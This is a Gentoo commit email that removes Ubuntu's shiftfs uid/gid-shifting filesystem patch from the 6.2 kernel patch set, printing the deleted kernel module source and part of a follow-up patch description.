[gentoo-commits] proj/linux-patches:6.2 commit in: /

[Mike Pagano]

commit:     a562522fe3f6aee0aaebe87bed2a32a33d739bf4
Author:     Mike Pagano <mpagano <AT> gentoo <DOT> org>
AuthorDate: Fri Mar  3 13:02:05 2023 +0000
Commit:     Mike Pagano <mpagano <AT> gentoo <DOT> org>
CommitDate: Fri Mar  3 13:02:05 2023 +0000
URL:        https://gitweb.gentoo.org/proj/linux-patches.git/commit/?id=a562522f

Remove shiftfs until I fix the patch

Signed-off-by: Mike Pagano <mpagano <AT> gentoo.org>

 0000_README                       |    4 -
 5000_shiftfs-6.2-2023-01-31.patch | 6607 -------------------------------------
 2 files changed, 6611 deletions(-)

diff --git a/0000_README b/0000_README
index b2b768d6..49d3a418 100644
--- a/0000_README
+++ b/0000_README
@@ -87,10 +87,6 @@ Patch:  4567_distro-Gentoo-Kconfig.patch
 From:   Tom Wijsman <TomWij@g.o>
 Desc:   Add Gentoo Linux support config settings and defaults.
 
-Patch:  5000_shiftfs-6.2-2023-01-31.patch
-From:   https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/unstable
-Desc:   Kernel module that provides a kernel filesystem for uid/gid shifting
-
 Patch:  5010_enable-cpu-optimizations-universal.patch
 From:   https://github.com/graysky2/kernel_compiler_patch
 Desc:   Kernel >= 5.15 patch enables gcc = v11.1+ optimizations for additional CPUs.

diff --git a/5000_shiftfs-6.2-2023-01-31.patch b/5000_shiftfs-6.2-2023-01-31.patch
deleted file mode 100644
index 44603abb..00000000
--- a/5000_shiftfs-6.2-2023-01-31.patch
+++ /dev/null
@@ -1,6607 +0,0 @@
-From b554e3101fdc94969141491a4234b3c931683b5c Mon Sep 17 00:00:00 2001
-From: James Bottomley <James.Bottomley@×××××××××××××××××.com>
-Date: Thu, 4 Apr 2019 15:39:11 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: uid/gid shifting bind mount
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1823186
-
-This allows any subtree to be uid/gid shifted and bound elsewhere.  It
-does this by operating simlarly to overlayfs.  Its primary use is for
-shifting the underlying uids of filesystems used to support
-unpriviliged (uid shifted) containers.  The usual use case here is
-that the container is operating with an uid shifted unprivileged root
-but sometimes needs to make use of or work with a filesystem image
-that has root at real uid 0.
-
-The mechanism is to allow any subordinate mount namespace to mount a
-shiftfs filesystem (by marking it FS_USERNS_MOUNT) but only allowing
-it to mount marked subtrees (using the -o mark option as root).  Once
-mounted, the subtree is mapped via the super block user namespace so
-that the interior ids of the mounting user namespace are the ids
-written to the filesystem.
-
-Signed-off-by: James Bottomley <James.Bottomley@×××××××××××××××××.com>
-[ saf: use designated initializers for path declarations to fix errors
-  with struct randomization ]
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-[update: port to 5.0]
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/Kconfig                 |   8 +
- fs/Makefile                |   1 +
- fs/shiftfs.c               | 780 +++++++++++++++++++++++++++++++++++++
- include/uapi/linux/magic.h |   2 +
- 4 files changed, 791 insertions(+)
- create mode 100644 fs/shiftfs.c
-
-diff --git a/fs/Kconfig b/fs/Kconfig
-index 2685a4d0d353..b53bece1e940 100644
---- a/fs/Kconfig
-+++ b/fs/Kconfig
-@@ -128,6 +128,14 @@ source "fs/autofs/Kconfig"
- source "fs/fuse/Kconfig"
- source "fs/overlayfs/Kconfig"
- 
-+config SHIFT_FS
-+	tristate "UID/GID shifting overlay filesystem for containers"
-+	help
-+	  This filesystem can overlay any mounted filesystem and shift
-+	  the uid/gid the files appear at.  The idea is that
-+	  unprivileged containers can use this to mount root volumes
-+	  using this technique.
-+
- menu "Caches"
- 
- source "fs/netfs/Kconfig"
-diff --git a/fs/Makefile b/fs/Makefile
-index 4dea17840761..628632dcb9b1 100644
---- a/fs/Makefile
-+++ b/fs/Makefile
-@@ -137,3 +137,4 @@ obj-$(CONFIG_EFIVAR_FS)		+= efivarfs/
- obj-$(CONFIG_EROFS_FS)		+= erofs/
- obj-$(CONFIG_VBOXSF_FS)		+= vboxsf/
- obj-$(CONFIG_ZONEFS_FS)		+= zonefs/
-+obj-$(CONFIG_SHIFT_FS)		+= shiftfs.o
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-new file mode 100644
-index 000000000000..f7cada126daa
---- /dev/null
-+++ b/fs/shiftfs.c
-@@ -0,0 +1,780 @@
-+#include <linux/cred.h>
-+#include <linux/mount.h>
-+#include <linux/file.h>
-+#include <linux/fs.h>
-+#include <linux/namei.h>
-+#include <linux/module.h>
-+#include <linux/kernel.h>
-+#include <linux/magic.h>
-+#include <linux/parser.h>
-+#include <linux/seq_file.h>
-+#include <linux/statfs.h>
-+#include <linux/slab.h>
-+#include <linux/user_namespace.h>
-+#include <linux/uidgid.h>
-+#include <linux/xattr.h>
-+
-+struct shiftfs_super_info {
-+	struct vfsmount *mnt;
-+	struct user_namespace *userns;
-+	bool mark;
-+};
-+
-+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
-+				       struct dentry *dentry);
-+
-+enum {
-+	OPT_MARK,
-+	OPT_LAST,
-+};
-+
-+/* global filesystem options */
-+static const match_table_t tokens = {
-+	{ OPT_MARK, "mark" },
-+	{ OPT_LAST, NULL }
-+};
-+
-+static const struct cred *shiftfs_get_up_creds(struct super_block *sb)
-+{
-+	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+	struct cred *cred = prepare_creds();
-+
-+	if (!cred)
-+		return NULL;
-+
-+	cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid));
-+	cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid));
-+	put_user_ns(cred->user_ns);
-+	cred->user_ns = get_user_ns(ssi->userns);
-+
-+	return cred;
-+}
-+
-+static const struct cred *shiftfs_new_creds(const struct cred **newcred,
-+					    struct super_block *sb)
-+{
-+	const struct cred *cred = shiftfs_get_up_creds(sb);
-+
-+	*newcred = cred;
-+
-+	if (cred)
-+		cred = override_creds(cred);
-+	else
-+		printk(KERN_ERR "shiftfs: Credential override failed: no memory\n");
-+
-+	return cred;
-+}
-+
-+static void shiftfs_old_creds(const struct cred *oldcred,
-+			      const struct cred **newcred)
-+{
-+	if (!*newcred)
-+		return;
-+
-+	revert_creds(oldcred);
-+	put_cred(*newcred);
-+}
-+
-+static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
-+{
-+	char *p;
-+	substring_t args[MAX_OPT_ARGS];
-+
-+	ssi->mark = false;
-+
-+	while ((p = strsep(&options, ",")) != NULL) {
-+		int token;
-+
-+		if (!*p)
-+			continue;
-+
-+		token = match_token(p, tokens, args);
-+		switch (token) {
-+		case OPT_MARK:
-+			ssi->mark = true;
-+			break;
-+		default:
-+			return -EINVAL;
-+		}
-+	}
-+	return 0;
-+}
-+
-+static void shiftfs_d_release(struct dentry *dentry)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+
-+	dput(real);
-+}
-+
-+static struct dentry *shiftfs_d_real(struct dentry *dentry,
-+				     const struct inode *inode)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+
-+	if (unlikely(real->d_flags & DCACHE_OP_REAL))
-+		return real->d_op->d_real(real, real->d_inode);
-+
-+	return real;
-+}
-+
-+static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+
-+	if (d_unhashed(real))
-+		return 0;
-+
-+	if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE))
-+		return 1;
-+
-+	return real->d_op->d_weak_revalidate(real, flags);
-+}
-+
-+static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	int ret;
-+
-+	if (d_unhashed(real))
-+		return 0;
-+
-+	/*
-+	 * inode state of underlying changed from positive to negative
-+	 * or vice versa; force a lookup to update our view
-+	 */
-+	if (d_is_negative(real) != d_is_negative(dentry))
-+		return 0;
-+
-+	if (!(real->d_flags & DCACHE_OP_REVALIDATE))
-+		return 1;
-+
-+	ret = real->d_op->d_revalidate(real, flags);
-+
-+	if (ret == 0 && !(flags & LOOKUP_RCU))
-+		d_invalidate(real);
-+
-+	return ret;
-+}
-+
-+static const struct dentry_operations shiftfs_dentry_ops = {
-+	.d_release	= shiftfs_d_release,
-+	.d_real		= shiftfs_d_real,
-+	.d_revalidate	= shiftfs_d_revalidate,
-+	.d_weak_revalidate = shiftfs_d_weak_revalidate,
-+};
-+
-+static int shiftfs_readlink(struct dentry *dentry, char __user *data,
-+			    int flags)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	const struct inode_operations *iop = real->d_inode->i_op;
-+
-+	if (iop->readlink)
-+		return iop->readlink(real, data, flags);
-+
-+	return -EINVAL;
-+}
-+
-+static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
-+				    struct delayed_call *done)
-+{
-+	if (dentry) {
-+		struct dentry *real = dentry->d_fsdata;
-+		struct inode *reali = real->d_inode;
-+		const struct inode_operations *iop = reali->i_op;
-+		const char *res = ERR_PTR(-EPERM);
-+
-+		if (iop->get_link)
-+			res = iop->get_link(real, reali, done);
-+
-+		return res;
-+	} else {
-+		/* RCU lookup not supported */
-+		return ERR_PTR(-ECHILD);
-+	}
-+}
-+
-+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
-+			    const char *name, const void *value,
-+			    size_t size, int flags)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	int err = -EOPNOTSUPP;
-+	const struct cred *oldcred, *newcred;
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	err = vfs_setxattr(real, name, value, size, flags);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_xattr_get(const struct xattr_handler *handler,
-+			     struct dentry *dentry, struct inode *inode,
-+			     const char *name, void *value, size_t size)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	err = vfs_getxattr(real, name, value, size);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	return err;
-+}
-+
-+static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
-+				 size_t size)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	err = vfs_listxattr(real, list, size);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_removexattr(struct dentry *dentry, const char *name)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	err = vfs_removexattr(real, name);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_xattr_set(const struct xattr_handler *handler,
-+			     struct dentry *dentry, struct inode *inode,
-+			     const char *name, const void *value, size_t size,
-+			     int flags)
-+{
-+	if (!value)
-+		return shiftfs_removexattr(dentry, name);
-+	return shiftfs_setxattr(dentry, inode, name, value, size, flags);
-+}
-+
-+static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry)
-+{
-+	struct inode *reali;
-+
-+	if (!dentry)
-+		return;
-+
-+	reali = dentry->d_inode;
-+
-+	if (!reali->i_op->get_link)
-+		inode->i_opflags |= IOP_NOFOLLOW;
-+
-+	inode->i_mapping = reali->i_mapping;
-+	inode->i_private = dentry;
-+}
-+
-+static int shiftfs_make_object(struct inode *dir, struct dentry *dentry,
-+			       umode_t mode, const char *symlink,
-+			       struct dentry *hardlink, bool excl)
-+{
-+	struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
-+	struct inode *reali = real->d_inode, *newi;
-+	const struct inode_operations *iop = reali->i_op;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+	bool op_ok = false;
-+
-+	if (hardlink) {
-+		op_ok = iop->link;
-+	} else {
-+		switch (mode & S_IFMT) {
-+		case S_IFDIR:
-+			op_ok = iop->mkdir;
-+			break;
-+		case S_IFREG:
-+			op_ok = iop->create;
-+			break;
-+		case S_IFLNK:
-+			op_ok = iop->symlink;
-+		}
-+	}
-+	if (!op_ok)
-+		return -EINVAL;
-+
-+
-+	newi = shiftfs_new_inode(dentry->d_sb, mode, NULL);
-+	if (!newi)
-+		return -ENOMEM;
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+
-+	inode_lock_nested(reali, I_MUTEX_PARENT);
-+
-+	err = -EINVAL;		/* shut gcc up about uninit var */
-+	if (hardlink) {
-+		struct dentry *realhardlink = hardlink->d_fsdata;
-+
-+		err = vfs_link(realhardlink, reali, new, NULL);
-+	} else {
-+		switch (mode & S_IFMT) {
-+		case S_IFDIR:
-+			err = vfs_mkdir(reali, new, mode);
-+			break;
-+		case S_IFREG:
-+			err = vfs_create(reali, new, mode, excl);
-+			break;
-+		case S_IFLNK:
-+			err = vfs_symlink(reali, new, symlink);
-+		}
-+	}
-+
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	if (err)
-+		goto out_dput;
-+
-+	shiftfs_fill_inode(newi, new);
-+
-+	d_instantiate(dentry, newi);
-+
-+	new = NULL;
-+	newi = NULL;
-+
-+ out_dput:
-+	dput(new);
-+	iput(newi);
-+	inode_unlock(reali);
-+
-+	return err;
-+}
-+
-+static int shiftfs_create(struct inode *dir, struct dentry *dentry,
-+			  umode_t mode,  bool excl)
-+{
-+	mode |= S_IFREG;
-+
-+	return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl);
-+}
-+
-+static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
-+			 umode_t mode)
-+{
-+	mode |= S_IFDIR;
-+
-+	return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false);
-+}
-+
-+static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
-+			struct dentry *dentry)
-+{
-+	return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false);
-+}
-+
-+static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
-+			   const char *symlink)
-+{
-+	return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false);
-+}
-+
-+static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
-+{
-+	struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
-+	struct inode *reali = real->d_inode;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+
-+	inode_lock_nested(reali, I_MUTEX_PARENT);
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+
-+	if (rmdir)
-+		err = vfs_rmdir(reali, new);
-+	else
-+		err = vfs_unlink(reali, new, NULL);
-+
-+	shiftfs_old_creds(oldcred, &newcred);
-+	inode_unlock(reali);
-+
-+	return err;
-+}
-+
-+static int shiftfs_unlink(struct inode *dir, struct dentry *dentry)
-+{
-+	return shiftfs_rm(dir, dentry, false);
-+}
-+
-+static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry)
-+{
-+	return shiftfs_rm(dir, dentry, true);
-+}
-+
-+static int shiftfs_rename(struct inode *olddir, struct dentry *old,
-+			  struct inode *newdir, struct dentry *new,
-+			  unsigned int flags)
-+{
-+	struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private,
-+		*realold = old->d_fsdata,
-+		*realnew = new->d_fsdata, *trap;
-+	struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode;
-+	int err = -EINVAL;
-+	const struct cred *oldcred, *newcred;
-+
-+	trap = lock_rename(rndd, rodd);
-+
-+	if (trap == realold || trap == realnew)
-+		goto out_unlock;
-+
-+	oldcred = shiftfs_new_creds(&newcred, old->d_sb);
-+
-+	err = vfs_rename(realolddir, realold, realnewdir,
-+			 realnew, NULL, flags);
-+
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+ out_unlock:
-+	unlock_rename(rndd, rodd);
-+
-+	return err;
-+}
-+
-+static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
-+				     unsigned int flags)
-+{
-+	struct dentry *real = dir->i_private, *new;
-+	struct inode *reali = real->d_inode, *newi;
-+	const struct cred *oldcred, *newcred;
-+
-+	inode_lock(reali);
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len);
-+	shiftfs_old_creds(oldcred, &newcred);
-+	inode_unlock(reali);
-+
-+	if (IS_ERR(new))
-+		return new;
-+
-+	dentry->d_fsdata = new;
-+
-+	newi = NULL;
-+	if (!new->d_inode)
-+		goto out;
-+
-+	newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new);
-+	if (!newi) {
-+		dput(new);
-+		return ERR_PTR(-ENOMEM);
-+	}
-+
-+ out:
-+	return d_splice_alias(newi, dentry);
-+}
-+
-+static int shiftfs_permission(struct inode *inode, int mask)
-+{
-+	struct dentry *real = inode->i_private;
-+	struct inode *reali = real->d_inode;
-+	const struct inode_operations *iop = reali->i_op;
-+	int err;
-+	const struct cred *oldcred, *newcred;
-+
-+	if (mask & MAY_NOT_BLOCK)
-+		return -ECHILD;
-+
-+	oldcred = shiftfs_new_creds(&newcred, inode->i_sb);
-+	if (iop->permission)
-+		err = iop->permission(reali, mask);
-+	else
-+		err = generic_permission(reali, mask);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr)
-+{
-+	struct dentry *real = dentry->d_fsdata;
-+	struct inode *reali = real->d_inode;
-+	const struct inode_operations *iop = reali->i_op;
-+	struct iattr newattr = *attr;
-+	const struct cred *oldcred, *newcred;
-+	struct super_block *sb = dentry->d_sb;
-+	int err;
-+
-+	newattr.ia_uid = KUIDT_INIT(from_kuid(sb->s_user_ns, attr->ia_uid));
-+	newattr.ia_gid = KGIDT_INIT(from_kgid(sb->s_user_ns, attr->ia_gid));
-+
-+	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	inode_lock(reali);
-+	if (iop->setattr)
-+		err = iop->setattr(real, &newattr);
-+	else
-+		err = simple_setattr(real, &newattr);
-+	inode_unlock(reali);
-+	shiftfs_old_creds(oldcred, &newcred);
-+
-+	if (err)
-+		return err;
-+
-+	/* all OK, reflect the change on our inode */
-+	setattr_copy(d_inode(dentry), attr);
-+	return 0;
-+}
-+
-+static int shiftfs_getattr(const struct path *path, struct kstat *stat,
-+			   u32 request_mask, unsigned int query_flags)
-+{
-+	struct inode *inode = path->dentry->d_inode;
-+	struct dentry *real = path->dentry->d_fsdata;
-+	struct inode *reali = real->d_inode;
-+	const struct inode_operations *iop = reali->i_op;
-+	struct path newpath = { .mnt = path->dentry->d_sb->s_fs_info, .dentry = real };
-+	int err = 0;
-+
-+	if (iop->getattr)
-+		err = iop->getattr(&newpath, stat, request_mask, query_flags);
-+	else
-+		generic_fillattr(reali, stat);
-+
-+	if (err)
-+		return err;
-+
-+	/* transform the underlying id */
-+	stat->uid = make_kuid(inode->i_sb->s_user_ns, __kuid_val(stat->uid));
-+	stat->gid = make_kgid(inode->i_sb->s_user_ns, __kgid_val(stat->gid));
-+	return 0;
-+}
-+
-+static const struct inode_operations shiftfs_inode_ops = {
-+	.lookup		= shiftfs_lookup,
-+	.getattr	= shiftfs_getattr,
-+	.setattr	= shiftfs_setattr,
-+	.permission	= shiftfs_permission,
-+	.mkdir		= shiftfs_mkdir,
-+	.symlink	= shiftfs_symlink,
-+	.get_link	= shiftfs_get_link,
-+	.readlink	= shiftfs_readlink,
-+	.unlink		= shiftfs_unlink,
-+	.rmdir		= shiftfs_rmdir,
-+	.rename		= shiftfs_rename,
-+	.link		= shiftfs_link,
-+	.create		= shiftfs_create,
-+	.mknod		= NULL,	/* no special files currently */
-+	.listxattr	= shiftfs_listxattr,
-+};
-+
-+static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
-+				       struct dentry *dentry)
-+{
-+	struct inode *inode;
-+
-+	inode = new_inode(sb);
-+	if (!inode)
-+		return NULL;
-+
-+	/*
-+	 * our inode is completely vestigial.  All lookups, getattr
-+	 * and permission checks are done on the underlying inode, so
-+	 * what the user sees is entirely from the underlying inode.
-+	 */
-+	mode &= S_IFMT;
-+
-+	inode->i_ino = get_next_ino();
-+	inode->i_mode = mode;
-+	inode->i_flags |= S_NOATIME | S_NOCMTIME;
-+
-+	inode->i_op = &shiftfs_inode_ops;
-+
-+	shiftfs_fill_inode(inode, dentry);
-+
-+	return inode;
-+}
-+
-+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry)
-+{
-+	struct super_block *sb = dentry->d_sb;
-+	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+
-+	if (ssi->mark)
-+		seq_show_option(m, "mark", NULL);
-+
-+	return 0;
-+}
-+
-+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf)
-+{
-+	struct super_block *sb = dentry->d_sb;
-+	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+	struct dentry *root = sb->s_root;
-+	struct dentry *realroot = root->d_fsdata;
-+	struct path realpath = { .mnt = ssi->mnt, .dentry = realroot };
-+	int err;
-+
-+	err = vfs_statfs(&realpath, buf);
-+	if (err)
-+		return err;
-+
-+	buf->f_type = sb->s_magic;
-+
-+	return 0;
-+}
-+
-+static void shiftfs_put_super(struct super_block *sb)
-+{
-+	struct shiftfs_super_info *ssi = sb->s_fs_info;
-+
-+	mntput(ssi->mnt);
-+	put_user_ns(ssi->userns);
-+	kfree(ssi);
-+}
-+
-+static const struct xattr_handler shiftfs_xattr_handler = {
-+	.prefix = "",
-+	.get    = shiftfs_xattr_get,
-+	.set    = shiftfs_xattr_set,
-+};
-+
-+const struct xattr_handler *shiftfs_xattr_handlers[] = {
-+	&shiftfs_xattr_handler,
-+	NULL
-+};
-+
-+static const struct super_operations shiftfs_super_ops = {
-+	.put_super	= shiftfs_put_super,
-+	.show_options	= shiftfs_show_options,
-+	.statfs		= shiftfs_statfs,
-+};
-+
-+struct shiftfs_data {
-+	void *data;
-+	const char *path;
-+};
-+
-+static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
-+			      int silent)
-+{
-+	struct shiftfs_data *data = raw_data;
-+	char *name = kstrdup(data->path, GFP_KERNEL);
-+	int err = -ENOMEM;
-+	struct shiftfs_super_info *ssi = NULL;
-+	struct path path;
-+	struct dentry *dentry;
-+
-+	if (!name)
-+		goto out;
-+
-+	ssi = kzalloc(sizeof(*ssi), GFP_KERNEL);
-+	if (!ssi)
-+		goto out;
-+
-+	err = -EPERM;
-+	err = shiftfs_parse_options(ssi, data->data);
-+	if (err)
-+		goto out;
-+
-+	/* to mark a mount point, must be real root */
-+	if (ssi->mark && !capable(CAP_SYS_ADMIN))
-+		goto out;
-+
-+	/* else to mount a mark, must be userns admin */
-+	if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN))
-+		goto out;
-+
-+	err = kern_path(name, LOOKUP_FOLLOW, &path);
-+	if (err)
-+		goto out;
-+
-+	err = -EPERM;
-+
-+	if (!S_ISDIR(path.dentry->d_inode->i_mode)) {
-+		err = -ENOTDIR;
-+		goto out_put;
-+	}
-+
-+	sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;
-+	if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
-+		printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n");
-+		err = -EINVAL;
-+		goto out_put;
-+	}
-+
-+	if (ssi->mark) {
-+		/*
-+		 * this part is visible unshifted, so make sure no
-+		 * executables that could be used to give suid
-+		 * privileges
-+		 */
-+		sb->s_iflags = SB_I_NOEXEC;
-+		ssi->mnt = path.mnt;
-+		dentry = path.dentry;
-+	} else {
-+		struct shiftfs_super_info *mp_ssi;
-+
-+		/*
-+		 * this leg executes if we're admin capable in
-+		 * the namespace, so be very careful
-+		 */
-+		if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC)
-+			goto out_put;
-+		mp_ssi = path.dentry->d_sb->s_fs_info;
-+		if (!mp_ssi->mark)
-+			goto out_put;
-+		ssi->mnt = mntget(mp_ssi->mnt);
-+		dentry = dget(path.dentry->d_fsdata);
-+		path_put(&path);
-+	}
-+	ssi->userns = get_user_ns(dentry->d_sb->s_user_ns);
-+	sb->s_fs_info = ssi;
-+	sb->s_magic = SHIFTFS_MAGIC;
-+	sb->s_op = &shiftfs_super_ops;
-+	sb->s_xattr = shiftfs_xattr_handlers;
-+	sb->s_d_op = &shiftfs_dentry_ops;
-+	sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry));
-+	sb->s_root->d_fsdata = dentry;
-+
-+	return 0;
-+
-+ out_put:
-+	path_put(&path);
-+ out:
-+	kfree(name);
-+	kfree(ssi);
-+	return err;
-+}
-+
-+static struct dentry *shiftfs_mount(struct file_system_type *fs_type,
-+				    int flags, const char *dev_name, void *data)
-+{
-+	struct shiftfs_data d = { data, dev_name };
-+
-+	return mount_nodev(fs_type, flags, &d, shiftfs_fill_super);
-+}
-+
-+static struct file_system_type shiftfs_type = {
-+	.owner		= THIS_MODULE,
-+	.name		= "shiftfs",
-+	.mount		= shiftfs_mount,
-+	.kill_sb	= kill_anon_super,
-+	.fs_flags	= FS_USERNS_MOUNT,
-+};
-+
-+static int __init shiftfs_init(void)
-+{
-+	return register_filesystem(&shiftfs_type);
-+}
-+
-+static void __exit shiftfs_exit(void)
-+{
-+	unregister_filesystem(&shiftfs_type);
-+}
-+
-+MODULE_ALIAS_FS("shiftfs");
-+MODULE_AUTHOR("James Bottomley");
-+MODULE_DESCRIPTION("uid/gid shifting bind filesystem");
-+MODULE_LICENSE("GPL v2");
-+module_init(shiftfs_init)
-+module_exit(shiftfs_exit)
-diff --git a/include/uapi/linux/magic.h b/include/uapi/linux/magic.h
-index 6325d1d0e90f..1f70efb41565 100644
---- a/include/uapi/linux/magic.h
-+++ b/include/uapi/linux/magic.h
-@@ -102,4 +102,6 @@
- #define DEVMEM_MAGIC		0x454d444d	/* "DMEM" */
- #define SECRETMEM_MAGIC		0x5345434d	/* "SECM" */
- 
-+#define SHIFTFS_MAGIC		0x6a656a62
-+
- #endif /* __LINUX_MAGIC_H__ */
--- 
-2.39.2
-
-From 7b502b7e97db8ec9deff14f434eed2f2fbc0cd2f Mon Sep 17 00:00:00 2001
-From: Christian Brauner <christian@×××××××.io>
-Date: Thu, 4 Apr 2019 15:39:12 +0200
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework and extend
-Cc: mpagano@g.o
-
-BugLink: https://bugs.launchpad.net/bugs/1823186
-
-/* Introduction */
-The shiftfs filesystem is implemented as a stacking filesystem. Since it is
-a stacking filesystem it shares concepts with overlayfs and ecryptfs.
-Usually, shiftfs will be stacked upon another filesystem. The filesystem on
-top - shiftfs - is referred to as "upper filesystem" or "overlay" and the
-filesystem it is stacked upon is referred to as "lower filesystem" or
-"underlay".
-
-/* Marked and Unmarked shiftfs mounts */
-To use shiftfs it is necessary that a given mount is marked as shiftable via
-the "mark" mount option. Any mount of shiftfs without the "mark" mount option
-not on top of a shiftfs mount with the "mark" mount option will be refused with
-EPERM.
-After a marked shiftfs mount has been performed other shiftfs mounts
-referencing the marked shiftfs mount can be created. These secondary shiftfs
-mounts are usually what are of interest.
-The marked shiftfs mount will take a reference to the underlying mountpoint of
-the directory it is marking as shiftable. Any unmarked shiftfts mounts
-referencing this marked shifts mount will take a second reference to this
-directory as well. This ensures that the underlying marked shiftfs mount can be
-unmounted thereby dropping the reference to the underlying directory without
-invalidating the mountpoint of said directory since the non-marked shiftfs
-mount still holds another reference to it.
-
-/* Stacking Depth */
-Shiftfs tries to keep the stack as flat as possible to avoid hitting the
-kernel enforced filesystem stacking limit.
-
-/* Permission Model */
-When the mark shiftfs mount is created shiftfs will record the credentials of
-the creator of the super block and stash it in the super block. When other
-non-mark shiftfs mounts are created that reference the mark shiftfs mount they
-will stash another reference to the creators credentials. Before calling into
-the underlying filesystem shiftfs will switch to the creators credentials and
-revert to the original credentials after the underlying filesystem operation
-returns.
-
-/* Mount Options */
-- mark
-  When set the mark mount option indicates that the mount in question is
-  allowed to be shifted. Since shiftfs it mountable in by user namespace root
-  non-initial user namespace this mount options ensures that the system
-  administrator has decided that the marked mount is safe to be shifted.
-  To mark a mount as shiftable CAP_SYS_ADMIN in the user namespace is required.
-- passthrough={0,1,2,3}
-  This mount options functions as a bitmask. When set to a non-zero value
-  shiftfs will try to act as an invisible shim sitting on top of the
-  underlying filesystem.
-  - 1: Shifts will report the filesystem type of the underlay for stat-like
-       system calls.
-  - 2: Shiftfs will passthrough whitelisted ioctl() to the underlay.
-  - 3: Shiftfs will both use 1 and 2.
-Note that mount options on a marked mount cannot be changed.
-
-/* Extended Attributes */
-Shiftfs will make sure to translate extended attributes.
-
-/* Inodes Numbers */
-Shiftfs inodes numbers are copied up from the underlying filesystem, i.e.
-shiftfs inode numbers will be identical to the corresponding underlying
-filesystem's inode numbers. This has the advantage that inotify and friends
-should work out of the box.
-(In essence, shiftfs is nothing but a 1:1 mirror of the underlying filesystem's
- dentries and inodes.)
-
-/* Device Support */
-Shiftfs only supports the creation of pipe and socket devices. Character and
-block devices cannot be created through shiftfs.
-
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
